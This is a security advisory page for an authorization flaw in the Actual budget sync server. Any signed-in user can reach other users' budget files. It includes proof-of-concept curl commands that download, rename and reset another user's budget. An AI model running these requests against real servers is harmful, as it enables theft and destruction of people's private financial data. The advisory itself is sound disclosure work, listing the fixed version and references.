@actual-app/sync-server: Missing authorization in sync endpoints allows cross-user budget file access in multi-user mode
In multi-user mode (OpenID), the sync API endpoints (/sync/*) don't verify that the authenticated user owns or has access to the file being operated on. Any authenticated user can read, modify, and overwrite any other user's budget files by providing their file ID.
Affected Code
File: packages/sync-server/src/app-sync.ts
The validateSessionMiddleware on line 31 confirms the user is authenticated, but individual endpoints only check that the file exists (via verifyFileExists), never that the requesting user owns or has access to the file.
Compare with POST /sync/delete-user-file (lines 394-430) which correctly checks:
const isOwner = file.owner === userId;
const isServerAdmin = isAdmin(userId);
if (!isOwner && !isServerAdmin) { ... }
This check is missing from all other endpoints.
Affected Endpoints
GET /sync/download-user-file- download any budget filePOST /sync/upload-user-file- overwrite any budget filePOST /sync/sync- read/write sync messages of any filePOST /sync/user-get-key- read encryption key infoPOST /sync/user-create-key- change encryption keyPOST /sync/reset-user-file- reset sync statePOST /sync/update-user-filename- rename fileGET /sync/get-user-file-info- read file metadata
PoC
Setup: Two users (Alice, Bob) authenticated via OpenID on the same Actual server. Alice has a budget with fileId abc-123.
Bob downloads Alice's budget:
curl -X GET 'https://actual.example.com/sync/download-user-file' \
-H 'X-Actual-Token: <bob-session-token>' \
-H 'X-Actual-File-Id: abc-123' \
-o stolen-budget.blob
Bob reads Alice's file metadata:
curl -X GET 'https://actual.example.com/sync/get-user-file-info' \
-H 'X-Actual-Token: <bob-session-token>' \
-H 'X-Actual-File-Id: abc-123'
Bob renames Alice's budget:
curl -X POST 'https://actual.example.com/sync/update-user-filename' \
-H 'X-Actual-Token: <bob-session-token>' \
-H 'Content-Type: application/json' \
-d '{"fileId": "abc-123", "name": "pwned"}'
Bob resets Alice's sync state (destructive):
curl -X POST 'https://actual.example.com/sync/reset-user-file' \
-H 'X-Actual-Token: <bob-session-token>' \
-H 'Content-Type: application/json' \
-d '{"fileId": "abc-123"}'
File IDs can be discovered by admin users via GET /sync/list-user-files (admins see all files), through user_access sharing, or by guessing.
Impact
In multi-user deployments (OpenID mode), any authenticated user can steal other users' complete financial data (transactions, accounts, balances, payees), modify or destroy their budgets, and tamper with encryption keys. This is a personal finance app, so the data is highly sensitive.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | @actual-app/sync-server | < 26.2.1 | 26.2.1 |
References
- https://github.com/actualbudget/actual/security/advisories/GHSA-qmjj-p7m9-wjrv
- https://nvd.nist.gov/vuln/detail/CVE-2026-27638
- https://github.com/actualbudget/actual/commit/9966c024cb75f57943193cac8e42f401efed9d08
- https://github.com/actualbudget/actual
- https://github.com/actualbudget/actual/releases/tag/v26.2.1
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P- Weakness (CWE)
CWE-862- Platform
- npm
- Package
@actual-app/sync-server- Disclosed
- 27.02.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-qmjj-p7m9-wjrv - CC BY 4.0
Vulnerability history: @actual-app/sync-server
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 8
- First → latest
- 10.2025 10.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 3
- Medium 4
Disclosures per year
- 2025: 1
- 2026: 7
-
@actual-app/sync-server: Missing authorization in sync endpoints allows cross-user budget file access in multi-user mode this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.